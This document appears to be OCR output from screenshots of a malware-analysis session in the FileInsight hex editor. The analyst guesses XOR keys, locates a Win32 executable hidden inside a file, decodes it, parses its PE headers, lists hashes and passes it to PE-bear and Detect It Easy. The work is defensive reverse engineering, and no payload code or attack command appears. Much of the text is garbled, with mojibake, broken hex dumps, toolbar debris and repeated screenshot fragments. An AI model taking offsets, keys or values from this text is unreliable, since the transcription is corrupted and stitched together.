💀 Navigation 💉	A4僥"価エ小尿34/S、3^#+化7+y-,セティー CANF4意メ・牘h6「ロ= BS・キ9ロ・薐か B27 ST暇 SOB{竧ロマ・ヤーーM・USSYN SSV SCB、決合の中の BSにより、 BM/BS語り
Values	総SDC3[EM)で間 DC4bコe・避 RS・i*間k/犯ュ・ SOF1 メBSDロ涼ロ3ロs>シン?・?・SE SUB特エ・国家DNミ\ %*Y、! /・DC2P/* 以は&み」K7ki [*] z//@レ川^-8モc 埣タス DC3kコ<*X bDDD・絵 WDb・SO・ DSG L榕b・
BE HEX ASCII control	
Byte Non-ASCII (>= WORD Offset: 0x3735	
DWORD Value: 0x30	Output
Unicode	
	Sending the whole file to the viewer GUI. You can move window by dragging bitmap image.
	You can also copy current offset by right-clicking bitmap image.
🐼 Values 🗐 🗖 Bashmarka 🗐 Color	















 \sim

Offset 3735h (14133) Length 1h (1) OVF 뷳 🗓 🛰 🕬 🖫 🚾 A 🚺

8/7/2021





		^
		џ
		_
		>
Offerst 2724b (14122) Length	0h (0)	
	01 (0)	
👖 LU 🔍 VU H上 🏧 A 🗹 8/7/202	1 5	لم

U 17			FileInsight - Guessed XOR keys*
File <u>H</u> ome	<u>E</u> dit <u>S</u> earch	<u>P</u> lugins	<u>W</u> indows He <u>l</u> p
Operations			
Plugins			
Navigation		₽ 64	b3d533be1fe5b3bd5e5cd7adaf × Guessed XOR keys* ×
Supported for HT	ML, OLE2, PE and Flash		<pre>XXXX key: 0x31303f3e3d3c3b3a393827262524232221202f2e2d2c2b2a2928d7d6d5d4d3d2d1d0dfdedddcdbdad9d8c7c6c5c4c3c2c1c0cfcecdcccbca 256 bytes pattern occurrence count: 22 Win32 executable found at offset 0x10258 size 73216 bytes. Added bookmarks to the search hits.</pre> Cuessed XOR key: 0x30 256 bytes pattern occurrence count: 13 XOR key: 0x30 256 bytes pattern occurrence count: 13 XOR key: 0x46 256 bytes pattern occurrence count: 9 XOR key: 0x46 256 bytes pattern occurrence count: 9 XOR key: 0xcecfc0c1c2c3c4c5c6c7d8d9dadbdcdddedfd0d1d2d3d4d5d6d728292a2b2c2d2e2f202122232425262738393a3b3c3d3e3f303132333435 256 bytes pattern occurrence count: 2 XOR key: 0xcecfc0c1c2c3c4c5c6c7d8d9dadbdcdddedfd0d1d2d3d4d5d6d728292a2b2c2d2e2f202122232425262738393a3b3c3d3e3f303132333435 256 bytes pattern occurrence count: 2
Image: System state stat	Structures D Decod	Je T	<pre>XOR key: 0x2fa75abdabd280e5db9a38ac64df4ccc8e49c59946df4474c747359d7c090a0be176fe33c4f2397f04053d5f0fe6a50597d71ee485be1213 256 bytes pattern occurrence count: 1 XOR key: 0xd3d2d1d0abbfbff2dbdad9d8a2bea0eac3c2c1c0a2a1aee2cbcac9c8bfa2b4a4f3b1b4a0acb3b2bffbfa9ad7e7839d81cd868c83efeeedd6 256 bytes pattern occurrence count: 1 XOR key: 0x59269c5bd39b6bd3242573d52f368849cbb73ed0234d21479e35420baa093d770c0d50b817fefdfcedfa3e071840430c20bfe1a031c2e065 </pre>
WORD DWORD	0		
ASCII			
Onicode		<	Top ten XOR keys guessed from the whole file are shown in the new "Guessed XOR keys" tab. Please select the whole file and use these XOR keys in the Decode tab to decode the file. Elapsed time: 2.584000 (sec)
Talues Boo	kmarks 🏢 Calculato	r L	Contract Scripting
	- - 🕹	×	

– Ø ×

	۹ ۵ 🚽	• ×
c9c8f7f6f5f4f3f2f1f0fffefdfcfbfaf9f8e	7e6e	^
ebeae9e897969594939291909f9e9d9c9b9a9	988	
s		
363708090a0b0c0d0e0f000102030405060718	3191	
14c16ae7a8696a6bae6d6e6fa912925ba098de	e155	
ebb69a8dfbffd3b4fdfdfcfdf0ddc1effef6f)dea	
ahaa37c43655c894d34chd318hah9a651896a	79 <u>-</u> 7	×
	>	
	_	*
		>
	lı	NS
뷳 🗘 🛰 ላን 🔛 🚾 A 🚺 🛛 4:42 PM		
8///2021		

Û I*		FileInsight - Guessed XOR keys*									
File <u>H</u> ome <u>E</u> dit <u>S</u> earch <u>P</u> l	lugins <u>W</u> indows H										
Comparation Cop	by to new file										
Compression P Boo	hinany to clinboard	Copy selected region (the whole file if not selected) to a new file									
Plugins Encoding Cop	by binary to clipboard										
Decode Misc Past	te binary from clipboard	je5cd7adaf × Guessed XOR keys* ×									
Method X Parsing Dele	ete before	0x31303f3e3d3c3b3a393827262524232221202f2e2d2c2b2a2928d7d6d5d4d3d2d1d0dfdeddddadbdad9d8c7c6c5c4c3c2c1c0cfcecdcccbc									
Key E Search Dele	ete after	s pattern occurrence count: 32									
Visualization Fill		pound Document header found at offset 0x231b0.									
XOR Inve	ert .	d at offset 0x2a302 size 3087 bytes.									
Check for update Reve	erse order	okmarks to the search hits.									
Version into Swa	ap hipples										
Tou	ip two bytes	xd3d2d1d0dfdedddcdbdad9d8c7c6c5c4c3c2c1c0cfcecdcccbcac9c8f7f6f5f4f3f2f1f0fffefdfcfbfaf9f8e7e6e5e4e3e2e1e0efeeecondccbcac9c8f7f6f5f4f3f2f1f0fffefdfcfbfaf9f8e7e6e5e4e3e2e1e0efeeecondccbcac9c8f7f6f5f4f3f2f1f0fffefdfcfbfaf9f8e7e6e5e4e3e2e1e0efeeecondccbcac9c8f7f6f5f4f3f2f1f0fffefdfcfbfaf9f8e7e6e5e4e3e2e1e0efeeecondccbcac9c8f7f6f5f4f3f2f1f0fffefdfcfbfaf9f8e7e6e5e4e3e2e1e0efeeecondccbcac9c8f7f6f5f4f3f2f1f0fffefdfcfbfaf9f8e7e6e5e4e3e2e1e0efeeecondccbcac9c8f7f6f5f4f3f2f1f0fffefdfcfbfaf9f8e7e6e5e4e3e2e1e0efeeecondccbcac9c8f7f6f5f4f3f2f1f0fffefdfcfbfaf9f8e7e6e5e4e3e2e1e0efeeecondccbcac9c8f7f6f5f4f3f2f1f0fffefdfcfbfaf9f8e7e6e5e4e3e2e1e0efeeecondccbcac9c8f7f6f5f4f3f2f1f0fffefdfcfbfaf9f8e7e6e5e4e3e2e1e0efeeecondccbcac9c8f7f6f5f4f3f2f1f0fffefdfcfbfaf9f8e7e6e5e4e3e2e1e0efeeecondccbcac9c8f7f6f5f4f3f2f1f0fffefdfcfbfaf9f8e7e6e5e4e3e2e1e0efeeecondccbcac9c8f7f6f5f4f3f2f1f0fffefdfcfbfaf9f8e7e6e5e4e3e2e1e0efeeecondccbcac9c8f7f6f5f4f3f2f1f0fffefdfcfbfaf9f8e7e6e5e4e3e2e1e0efeeecondccbcac9c8f7f6f5f4f3f2f1f0fffefdfcfbfaf9f8e7e6e5e4e3e2e1e0efeecondcccbcac9c8f7f6f5f4f3f2f1f0fffefdfcfbfaf9f8e7e6e5e4e3e2e1e0efeeecondccbcac9c8f7f6f5f4f3f2f1f0fffefdfcfbfaf9f8e7e6e5e4e3e2e1e0efeecondccbcac9c8f7f6f5f4f3f2f1f0fffefdfcfbfaf9f8e7e6e5e4e3e2e1e0efeecondccbcac9c8f7f6f5f4f3f2f1f0fffefdfcfbfaf9f8e7e6e5e4e3e2e1e0efeecondccbcac9c8f7f6f5f4f3f2f1f0fffefdfcfbfaf9f8e7e6e5e4e3e2e1e0efeecondccbcac9c8f7f6f5f4f3f2f1f0fffefdfcfbfaf9ff8e7efeecondccbcac9c8f7f8e7efeecondccbcac9c8f7f8e7f8e7eff8e7eff8e7eff8e7eff8e7efeecondccbcac9c8f7f8e7eff8e									
To la	ower case	s pattern occurrence count: 22									
Swa	ip case	ecutable found at offset 0x37b0 size 129536 bytes.									
		lecutable found at offset 0x10258 size 73216 bytes.									
	Added bo	bokmarks to the search hits.									
	XOR key										
	256 byte	Extracting this XOR key as bi									
	XOR key:	see what values are containe									
	256 byte	es pattern occurrence count: 9									
	XOR key:	: 0xcecfc0c1c2c3c4c5c6c7d8d9dadbdcddScff00fd2f3df15f16f0a2b62620212aff2425262738393a3b3c3d3e3f30313233343									
	256 byte	es pattern occurrence count: 2									
	YOD kerry										
	256 byte	. 0x21a/Sabdabd200eSdb9aS6aC64u14CCC6e49C59940d144/4C/4/S59u7C090a0be1/61e55C41259/104055d5101e6a5059/u/1ee465be121									
Rende											
	XOR key:	0xd3d2d1d0abbfbff2dbdad9d8a2bea0eac3c2c1c0a2a1aee2cbcac9c8bfa2b4a4f3b1b4a0acb3b2bffbfa9ad7e7839d81cd868c83efeeedd									
Values	256 byte	es pattern occurrence count: 1									
BE HEX											
Byte 0	XOR kov.	· Nv59269c5hd39h6hd3242573d52f368849chh73ed0234d21479e35420hss093d770c0d50h817fefdfcedfs3e071840430c20hfe1s031c2e06									
WORD 0											
ASCII	Output										
Unicode											
	<										
🖀 Values 🛛 🔚 Bookmarks 🔠 Calculator	📃 Output 🛛 🖻 Scrip										
Press F1 for help											

넙i

(2)

<u>a</u>

2







1 ₹		FileInsight - New file 0*	- 0 × 1
File ■▷ Oper	Home Edit Search Plugi	ns <u>W</u> indows He <u>l</u> p	
Plu Decode Key	Crypto	Her text to binary data Octal text to binary data Binary text to binary data Custom base16 decode Custom base6 decode Custom base6 decode Probulf decode Probulf decode Dutom base6 decode Converting from hex text to binary data If 0 ff ff ef d 18 e 7 e 6 5 5 0 00000000 000000000 00000100 0000100 00000100 00000100 00000100 00000100 00000100 00000100 00000100 00000100 000000	
बि Navi alues Be सहरे	gation 😰 Structures D Decode 무	000001B0 30 63 30 62 30 61 30 39 30 38 33 37 33 36 33 35 0c0b0a0908373635 000001c0 33 34 33 33 32 33 31 33 30 33 66 33 65 33 64 34333231303f3e3d 000001b0 33 63 33 62 33 61 33 39 33 38 32 37 32 36 32 35 3c3b3a3938272625 000001E0 32 34 32 33 32 32 32 31 32 30 32 66 32 65 32 64 24232221202f2e2d 000001F0 32 63 32 62 32 61 32 39 32 38 64 37 64 36 64 35 2c2b2a2928d7d6d5	
WORD	48 30768	00000201 64 34 d4	v
DWORI ASCII	D 862222384 0xd3d2d1d0dfdedddcdbo	Output	۳
Unicod			
ress E1 fo	es 🚅 Bookmarks 🏢 Calculator		Offset 0h (0) _ Length 202h (514) OV
	H 🗐 🏹 🍅 🗙	3 🔰 🧔 🐻	the consection (b) Centgar 2021 (514) [514]



File <u>H</u> ome	<u>E</u> dit <u>S</u> earch	Plugins	<u>W</u> indows He <u>l</u> ı	р					_						
Operations															
Plugins															
ecode		₽ 64b3	d523he1fe5h3hd5e	5cd7adaf X Guess	ed XOR keys*	K New file 0*	X Output of He	v text to hir	nany data* X						
Method Xor								~ 4 ~ 4							
Key Enter k	ey here, for example 0xA8.		00000010	C3 C2 C1 C0 CF	CE CD CC	CB CA C9 (C8 F7 F6 F5 1	74							
Sele	ct area to decode		00000020	F3 F2 F1 F0 FF	FE FD FC	FB FA F9 B	78 E7 E6 E5 1	24							
			00000030	E3 E2 E1 E0 EF	EE ED EC	EB EA E9 E	28 97 96 95	94							
			00000050	83 82 81 80 8F	' 8E 8D 8C	8B 8A 89 8	38 B7 B6 B5 1	34							
			00000060	B3 B2 B1 B0 BF	BE BD BC	BB BA B9 B	38 A7 A6 A5 2	\4							
			00000070	A3 A2 A1 A0 AF	AE AD AC	AB AA A9 A	48 57 56 55	54		TUVW					
			00000080	53 52 51 50 5E 43 42 41 40 4E	' 5E 5D 5C	5B 5A 59 5 4R 4A 49 4	084/4645 18777675	14 SRQ 74 CBA	76 0 N M T K T T H 7 7 P _ ^] / [7 Y X (GFED					
			0A0000000	73 72 71 70 7F	7E 7D 7C	7B 7A 79 7	78 67 66 65	54 srq	ip {zyxg	gfed					
			000000в0	63 62 61 60 6F	6E 6D 6C	6B 6A 69 6	58 17 16 15 3	L4 cba	`onmlkjih	-					
			00000000	13 12 11 10 1F	' 1E 1D 1C	1B 1A 19 1		04		7654					
			0000000D0	33 32 31 30 3F	3E 3D 3C	3B 3A 39 3	38 27 26 25 3	24 321	0?>=<;:98	/054 '&%\$\$					
			000000F0	23 22 21 20 2F	2E 2D 2C	2B 2A 29 2	28 D7 D6 D5 1	04 #"!	/,+*) (
			00000100												
					(2)										
					(ey (2	56 by	rtes)								
🛚 Navigation 🛛 🛤	Structures D Decode	e													
a		÷													
É HEX	244														
Byte WORD	211 53971														
DWORD	3503411923	Outpu	ut												
ASCII	777777777777777777777777		3		_	_		_		_	_	_	_		
Unicode			onverted h	ex text from (offset Ox	0 to 0x20)1 (514 byt	es) in	to binary da	ta (no	n-hex cha	racters a	re skippe	d) .	
		A	dded a boo	kmark to conv	erted reg.	ion.	(011 2)	00, 11	au pinai y au		in non ond		LO DAIPPO		
					_										
		<													
🚰 Values 📃 Bo	okmarks 🔚 Calculator		Output 🛛 🚾 Scripti	ng											
		1													

FileInsight - Output of Hex text to binary data*

D 14



-

ð X

म

Offset 0h (0) Length 0h (0) | OVR the D T





Ð

 \sim

🔃 🔁 🔌 🕼 🖫 🚾 A 🛛

Offset 0h (0) Length 2E3B0h (189360) OVF





đ

Offset 37B0h (14256) Length 1FA00h (129536) OVF

8/7/2021

载 🗓 🛰 🕬 🐑 🚾 🗛 🚺

		FileInsight - New file 1*	$ \square$ \times
File <u>H</u> ome <u>E</u> dit	<u>S</u> earch <u>P</u> lugins <u>W</u> ind		
Operations Basic Compress Crypto Plugins Encoding	ion		
Decode Misc	Emulate code	1fe5b3bd5e5cd7adaf × Guessed XOR keys* × New file 0* × Output of Hex text to binary data* × New file 1* ×	< ► < ▷
Method Xor Key Oxd Search Visualizatio XOR Check for Version int Search Visualizatio XOR Check for Version int Structure Bookmarks	s D Decode	00000 HD SA 50 00 00 00 00 00 00 00 00 00 FF FF 00 00	ase wait
Values Bookmarks Press F1 for help	E Calculator	t Iscripting	Offset 0h (0) Length 0h (0) Ovr



0 -				_	
File	<u>H</u> ome	<u>E</u> dit	<u>S</u> earch	<u>P</u> lugins	

Operations

<u>W</u>indows He<u>l</u>p

FileInsight - New file 1*

Piugins		
Decode P	64b3d533be1fe5b3bd5e5cd7adaf × Guessed XOR keys* × New file 0* × Output of Hex text to binary data* × New file 1* ×	$\checkmark \triangleright \checkmark \checkmark$
Decode 4 Method Xor Key 0xd3d2d1d0dfdedddcdbdad9d8c7c6c Select area to decode Select area to decode	64b3d53beffe5b3bd5e5cd7ads × Guessed XQR keys* × New file 0* × Output of Hex text to binary data* × New file 1* 00000000 B8 00 00 00 00 00 00 00 00 00 00 00 00 00	
Values Rookmarks I Calculator	Hash values of the whole file: CRC32: 4448429a MD5: 001952e71b4f19ebd18a060a5615f530 SHA1: b4798677d0d52a981416b3232d61a2ce9bd313e5 SHA256: a83784cbd4c986d73a6f68922310e8ab5a0dc9e8adbe4aaedf8aa3896e655245 ssdeep: 3072:0e5amp1VKNM4kA2xIM7wqEBAMQw8SupZtP3pz9:KmpGvpM4AMQw8F7 imphash: 0e7e353d601ba9ad87b5dd0c6ca5cdb1 impfuzzy: 24:iwscOovDtUE1TcTDkz8Rnlyvp5/J3I3T4ZjCjMIZ/3ub0+W:gStRcsIKp78cwNM	Hash values of the file
= H <u>=</u> 7 🖕 9		Offset 0h (0) Length 0h (0) OVR 뮧 [], 📉 다) 단 패 A [] 4:46 PM 8/7/2021 다



– 0 ×





Ð

											^	
											E	
											~	
											Ą	
											2	>
												Î
					C)ffset	0h (0)	Len	gth Ol	n (0)	OV	R
-	Ĉ,	-	\$ 3)	臣	vm	А		4:46 8/7/	5 PM 2021	ς,	ב	
								0, 11	COL.			





											^	
											E	
											~	
											Ą	
											2	>
												Î
					C)ffset	0h (0)	Len	gth Ol	n (0)	OV	R
-	Ĉ,	-	\$ 3)	臣	vm	А		4:46 8/7/	5 PM 2021	ς,	ב	
								0, 11	COL.			





											^	
											E	
											~	
											Ą	
											2	>
												Î
					C)ffset	0h (0)	Len	gth Ol	n (0)	OV	R
-	Ĉ,	-	\$ 3)	臣	vm	А		4:46	5 PM 2021	ς,	ב	
								0, 11	COL.			

File <u>H</u> ome <u>E</u> dit <u>S</u> earch <u>P</u> lug	jins <u>W</u> indows He <u>l</u> p
New Horizontal Tab Group	
But This	All Properties
Tabs	File
Decode 4	64b3d533be1fe5b3bd5e5cd7adaf × Guessed XOR keys* × New file 0* × Output of Hex text to binary data* × New f 🔍 🕨 🗮 × Parsed data* ×
Method Xor	00000000 = 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 MZ = 0x0 - 0x1; mz.magic -> 4d5a (bex)
Key 0xd3d2d1d0dfdedddcdbdad9d8c7c6c	00000010 B8 00 00 00 00 00 00 00 00 00 00 00 00 00
Decode	00000020 00 00 00 00 00 00 00 00 00 00 0
	00000030 00 00 00 00 00 00 00 00 00 00 0
	00000040 0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68 ! L !Tr 0xf0 - 0xf3: pe.pe_signature -> 50450000 (h
	00000000 = 00000000 = 00000000 = 0000000
	00000070 67 S S S S S S S S S S S S S S S S S S
	00000080 91 Ovic - Ovic: pe.cori_hdr.time_date_stamp ->
	00000000 4 Attributes are bookmarked **(`\`) 0x100 - 0x103; pe.coff hdr.number of symbol
	000000A0 B 000000A0 B 000000A0 B 000000A0 B 000000A0 B 000000A0 B 000000A0 B 000000A0 B 000000A0 B 000000A0 B
	000000B0 DA 5C B7 60 D 25 2A ID 60 C4 5C B6 60 () * () * () 0x106 - 0x107: pe.coff hdr.characteristics
	000000000 52 69 63 68 DA 60 00 00 00 00 00 00 00 Bich \ (0x108 - 0x109: pe.optional_hdr.std.format -
	000000E0 00 00 00 00 00 00 00 00 00 00 0
	000000FB 50 45 00 00 4C 01 05 00 2C A0 62 4F 00 00 00 00 PE L , b0 0x10b - 0x10b: pe.optional_hdr.std.minor_li
	00000100 00 00 00 00 00 02 01 0B 01 0A 00 00 90 00 00 00 00 0x10c - 0x10f: pe.optional_hdr.std.size_of_
	00000110 00 66 01 00 00 00 00 14 18 00 00 00 10 00 00 f 0x110 - 0x113: pe.optional_hdr.std.size_of_
	00000120 $00 A0 00 00 00 00 00 00 10 00 00 00 00 00 00$
	00000140 00 40 02 00 00 04 00 00 5F 6E 02 00 03 00 40 81 @ n @ 0x11c - 0x11f: pe.optional hdr.std.base of
	00000150 00 00 10 00 00 10 00 00 10 00 00 10 00 0
	00000160 00 00 00 00 00 00 00 00 00 00 00 00 0
	00000170 F4 BD 00 00 3C 00 00 00 00 00 01 00 04 20 01 00 < 0x128 - 0x12b: pe.optional_hdr.windows.sect
💐 Navigation 🛛 🙀 Structures 🛛 D Decode	00000180 00 00 00 00 00 00 00 00 00 00 00 00 0
Bookmarks 4	00000130 00 30 02 00 A8 07 00 00 00 00 00 00 00 00 00 00 00 00
	000001B0 00 00 00 00 00 00 00 00 00 00 40 00 00
	= 00000100 00 00 00 00 00 00 00 00 00 00 00 44 01 00 00 0 44 01 00 0 44 01 00 0 44 01 00 0 44 01 00 0 44 01 00 0 44 01 00 0 44 01 00 0 44 01 00 0 44 01 00 0 44 01 0 40 0 44 01 0 40 0 4
Ox0 mz.magic MZ-0 0 · ·	
Ox0 pe.coff_hdr.symbol_name_tabl MZ·D	Output
0x2 mz.data1 ・□ □ ・・ ク	
0x3c mz.ofs_pe ・ □□ I小!クロ	
Oxf0 pe.pe_signature PE LOD , • bO	Added bookmarks to the parsed data structure
Oxf4 pe.coff_hdr.machine L00 ,.b0	Parsed data is shown in the new "Parsed data" tab.
0xf6 pe.coff_hdr.number_of_secti □ , • bO	Please use "Windows" tab -> "New Vertical Tab Group" to see parsed data and file contents side by side.
Oxf8 pe.coff_hdr.time_date_stamp , bO	
Oxfc pe.coff_hdr.pointer_to_symb	
Ox100 pe.coff_hdr.number_of_symb	
Ox104 pe.coff_hdr.size_of_option · O O	
Ox106 pe.coff_hdr.characteristic DDD f	
🔲 0x108 pe.optional_hdr.std.format 💷 🕐 fl 🗸	<
🚰 Values 🛛 🔁 Bookmarks 🛛 📅 Calculator	🖃 Output 🔤 Scripting

FileInsight - New file 1*

📲 🛱 🧮 芝 🍑 刘 💟 🧠 🏹

ð X

 \wedge ze -> 9460301 (0x905a4d) 00ffff0000b800... (hex) nex) eType.i386: 332 (0x14c) -> 5 (0x5)2012-03-16 02:06:36+00:00 (UNIX time, UT) table $\rightarrow 0$ (0x0) ls -> 0 (0x0) l_header -> 224 (0xe0) -> 258 (0x102) -> PeFormat.pe32: 267 (0x10b) inker version -> 10 (0xa) inker_version $\rightarrow 0$ (0x0) code -> 36864 (0x9000) initialized data -> 91648 (0x16600) _____uninitialized_data -> 0 (0x0) of_entry_point -> 6164 (0x1814) code -> 4096 (0x1000) data -> 40960 (0xa000) ge_base_32 -> 4194304 (0x400000) tion alignment -> 4096 (0x1000) alignment -> 512 (0x200) or_operating_system_version -> 5 (0x5) or_operating_system_version -> 1 (0x1) or image version -> 0 (0x0) r image version -> 0 (0x0) >

ributes of the file

Offset F8h (248) Length 4h (4) OVR

📆 🗓 🔌 🕸 🔛 🚾 A 🗾 🔐 4:47 PM 🖓

<u> </u>		Then signed the transmission of transmission of the transmission of transmission o	
File <u>H</u> ome <u>E</u> dit <u>S</u> earch I	<u>P</u> lugins <u>W</u> indows He <u>l</u>	Įp	
File Home Edit Search Image: Search Operation: Basic Compression Crypto Plugins Encoding Encoding Encoding Method Xo Search H Visualization XOR Search H Visualization XOR Search Search Vorsion info Visualization Search Search	Plugins Windows Hei Emulate code Ife5b3bd5e File comparison 0000 Hash values 0000 Gend to (CLI) 00000040 O000000000 00000050 O0000000000 000000000 O000000000000 000000000 O0000000000 000000000 O000000000 000000000 O00000000000 000000000 O0000000000 000000000	e5cd7adaf × Guessed XOR keys* × New file 0* × Output of Hex text to binary data* × New f < > ₹ × 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 B8 00 00 00 00 00 00 00 00 00 00 00 00 00	<pre>Parsed data* × Ox0 - 0x1: mz.magic -> 4d5a (hex) Ox0 - 0x3: pe.coff_hdr.symbol_name_table_si: 0x2 - 0x3b: mz.data1 -> 900003000000400000 0x3c - 0x3f: mz.ofs_pe -> 240 (0xf0) 0xf0 - 0xf3: pe.pe_signature -> 50450000 (hd 0xf4 - 0xf5: pe.coff_hdr.machine -> Machine! 0xf6 - 0xf7: pe.coff_hdr.number_of_sections 0xf8 - 0xfb: pe.coff_hdr.time_date_stamp -> 0xfc - 0xff: pe.coff_hdr.number_of_symbol_ 0x100 - 0x103: pe.coff_hdr.number_of_symbol. 0x104 - 0x105: pe.coff_hdr.size_of_optional 0x106 - 0x107: pe.coff_hdr.size_of_optional 0x108 - 0x109: pe.optional_hdr.std.format -> 0x10a - 0x10a: pe.optional_hdr.std.major_lin 0x10b - 0x10b: pe.optional_h</pre>
🗠 Navigation 📓 Structures D Decode	000000F0 00000100 00000110 00000120 00000130 00000140 00000150 00000160 00000170 00000180 00000190	50 45 00 00 4C 01 05 00 2C A0 62 4F 00 00 00 00 PE L , b0 00 00 00 00 00 E0 00 02 01 0B 01 0A 00 00 90 00 00 00 66 01 00 00 00 00 00 14 18 00 00 00 10 00 00 f 00 A0 00 00 00 00 00 00 00 00 00 00 00 0	<pre>0x10b - 0x10b: pe.optional_hdr.std.minor_in 0x10c - 0x10f: pe.optional_hdr.std.size_of_ 0x110 - 0x113: pe.optional_hdr.std.size_of_ 0x114 - 0x117: pe.optional_hdr.std.size_of_ 0x114 - 0x117: pe.optional_hdr.std.address_ 0x11c - 0x11f: pe.optional_hdr.std.base_of_ 0x120 - 0x123: pe.optional_hdr.std.base_of_ 0x124 - 0x127: pe.optional_hdr.windows.image 0x128 - 0x12b: pe.optional_hdr.windows.sect 0x12c - 0x12f: pe.optional_hdr.windows.sect 0x12c - 0x12f: pe.optional_hdr.windows.file 0x130 - 0x131: pe.optional_hdr.windows.majo</pre>
Bookmarks	4 000001A0 000001B0 000001B0	00 00 00 00 00 00 00 00 00 00 00 00 00	0x132 - 0x133: pe.optional_hdr.windows.mino:
■ 🙀 🐄	000001c0	00 00 00 00 00 00 00 00 00 A0 00 00 44 01 00 00 D	0x134 - 0x135: pe.optional_nor.windows.majo. 0x136 - 0x137: pe_optional_hdr_windows_minor
0x0 pe.coff_hdr.symbol_name_tabl MZ·	2	7	
🗌 0x2 mz.data1 ・ロ 🛛 \cdots り	Output		
0x3c mz.ofs_pe ・ □□ IΛ!クロ			
Oxf0 pe.pe_signature PE LOD , • bO			
Oxf4 pe.coff_hdr.machine L□□ , •bO			
0xf6 pe.coff_hdr.number_of_secti □ ,+bO			
Oxf8 pe.coff_hdr.time_date_stamp , bO			
Oxfc pe.coff_hdr.pointer_to_symb	· .		
Ox100 pe.coff_hdr.number_of_symb	C		
Ox104 pe.coff_hdr.size_of_option • 000	•		
Ox106 pe.coff_hdr.characteristic DDD ·	f		
0x108 pe.optional_hdr.std.format	f[v <		
🚰 Values 🛛 🔂 Bookmarks 🛛 📰 Calculator	📃 Output 🛛 📧 Script		
ress F1 for help			

FileInsight - New file 1*

MIT

曰i

🔚 🚬 😜 🏹 💭 🕰

-

ze -> 9460301 (0x905a4d) Offff0000b800... (hex) ex) Type.i386: 332 (0x14c) -> 5 (0x5)2012-03-16 02:06:36+00:00 (UNIX time, UT) table -> 0 (0x0) s -> 0 (0x0)_header -> 224 (0xe0) -> 258 (0x102)> PeFormat.pe32: 267 (0x10b) nker_version -> 10 (0xa) nker_version $\rightarrow 0$ (0x0) code -> 36864 (0x9000) initialized data -> 91648 (0x16600) uninitialized_data $\rightarrow 0$ (0x0) of_entry_point -> 6164 (0x1814) code -> 4096 (0x1000) data -> 40960 (0xa000) e_base_32 -> 4194304 (0x400000) ion_alignment -> 4096 (0x1000) alignment \rightarrow 512 (0x200) r_operating_system_version -> 5 (0x5) r_operating_system_version -> 1 (0x1) r image version -> 0 (0x0) image version -> 0 (0x0) >

Р

Offset 0h (0) Length 0h (0) OVR

號 🗓 🔌 🕸 🔛 🚾 A 🚺 🕺 4:47 PM 🖓

File Home Edit Search Plugin	Nindows Help
a per ations	
Plugins	
Decode 7	64b3d533be1fe5b3bd5e5cd7adaf × Guessed XOR keys* × New file 0* × Output of Hex text to binary data* × New f < ト 🖘 Parsed data* ×
Method Xor	00000000 = 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 MZ = 0x0 - 0x1; mz.magic -> 4d5a (hex)
Key 0xd3d2d1d0dfdedddcdbdad9d8c7c6c5	00000010 B8 00 00 00 00 00 00 00 40 x3: pe.coff_hdr.symbol_name_table_si
	Send to (GU) Detect It Easy Opening the file with PE-bear Sis mz.data1 -> 90003000000400000 0000040 0
Image: Structures D <thd< th=""> D <thd< th=""> D D <thd< th=""> D<th>00000130 05 00 01 00 00 00 00 05 00 01 00 00 00 00 05 00 01 00 00 00 00</th></thd<></thd<></thd<>	00000130 05 00 01 00 00 00 00 05 00 01 00 00 00 00 05 00 01 00 00 00 00
0x0 mz.magic MZ・□ □ ··· ^	Invise = 0vis/* pe optional hdr windowe mind
Ox0 pe.coff_hdr.symbol_name_tabl MZ·□	Output
0x2 mz.data1 ・□ □ ・・ ク	
Ox3c mz.ofs_pe • □□ I∧!灼□	Sending the whole file (129536 bytes) to external program.
Oxf0 pe.pe_signature PE LOD , • bO	
Oxf4 pe.coff_hdr.machine LOD ,+bO	
Oxf6 pe.coff_hdr.number_of_secti □ ,•bO	
Oxf8 pe.coff_hdr.time_date_stamp , bO	
Oxfc pe.coff_hdr.pointer_to_symb	
Ox100 pe.coff_hdr.number_of_symb	
Ox104 pe.coff_hdr.size_of_option · O O	
Ox106 pe.coff_hdr.characteristic	
🔲 0x108 pe.optional_hdr.std.format 💷 🕐 fl 🗸	<
Values Bookmarks III Calculator	I Output Scripting

FileInsight - New file 1*

D 🖃

📲 🖶 🔚 🎞 🍅 刘 🔰 🧠 👼

 \wedge ize -> 9460301 (0x905a4d) 00ffff0000b800... (hex) hex) eType.i386: 332 (0x14c) s -> 5 (0x5)> 2012-03-16 02:06:36+00:00 (UNIX time, UT) table $\rightarrow 0$ (0x0) ls -> 0 (0x0) l_header -> 224 (0xe0) -> 258 (0x102) -> PeFormat.pe32: 267 (0x10b) inker version -> 10 (0xa) inker_version $\rightarrow 0$ (0x0) code -> 36864 (0x9000) initialized data -> 91648 (0x16600) uninitialized_data -> 0 (0x0) of_entry_point -> 6164 (0x1814) _code -> 4096 (0x1000) data -> 40960 (0xa000) ge_base_32 -> 4194304 (0x400000) tion alignment -> 4096 (0x1000) e alignment -> 512 (0x200) or_operating_system_version -> 5 (0x5) or_operating_system_version -> 1 (0x1) or image version -> 0 (0x0) or image version -> 0 (0x0) >

ą

Offset 0h (0) Length 0h (0) OVR

📆 🗓 🔌 🕸 🔛 🚾 A 🗾 🔐 4:47 PM 🖓

File Settings View Compare Info

📅 tmpnmrsmf 🛛 🔹	× 🗄 🗢 🔳 📲	🌕 🏂 🕸 🖕				
🗐 DOS Header	0 1	23456789	АВ	CDEF	0 1 2 3 4 5 6 7 8 9 A B C D E F	
54 DOS stub	C14 E8 E4	2F 00 00 E9 95 FE FF FF	00.00	8D 42 FF 5B	à a / á bừ ở tỉ bừ r	
🗸 😇 NT Headers	C24 C3 8T	A4 24 00 00 00 00 00 8D 64	24 00	33 C0 84 44	à # s d s 3 À D	
Signature	C34 24 08	53 8B D8 C1 E0 08 8B 54	24 08	F7 C2 03 00	s s a í à Ts ÷ î	
Eile Header	C44 00.00	74 15 83 03 83 C2 01 33	CB 74	CF 84 C9 74		
	C54 51 F7	C2 03 00 00 00 75 FB 0B	D8 57	8B C3 C1 F3	O÷ NË ØW ÃÍĂ	
Optional Header	C64 10 54	OP DO OD OD DE FE FE FE	78 98	C1 00 F7 22		
Section Headers	C74 CB 03	. ED DO OB OA DI II IE IE . ED DO EG DO E1 FE DO ED	. 75 0D	CT 33 CE 83	та è бо аратаг.	
Sections	C94 C2 04		25 00			
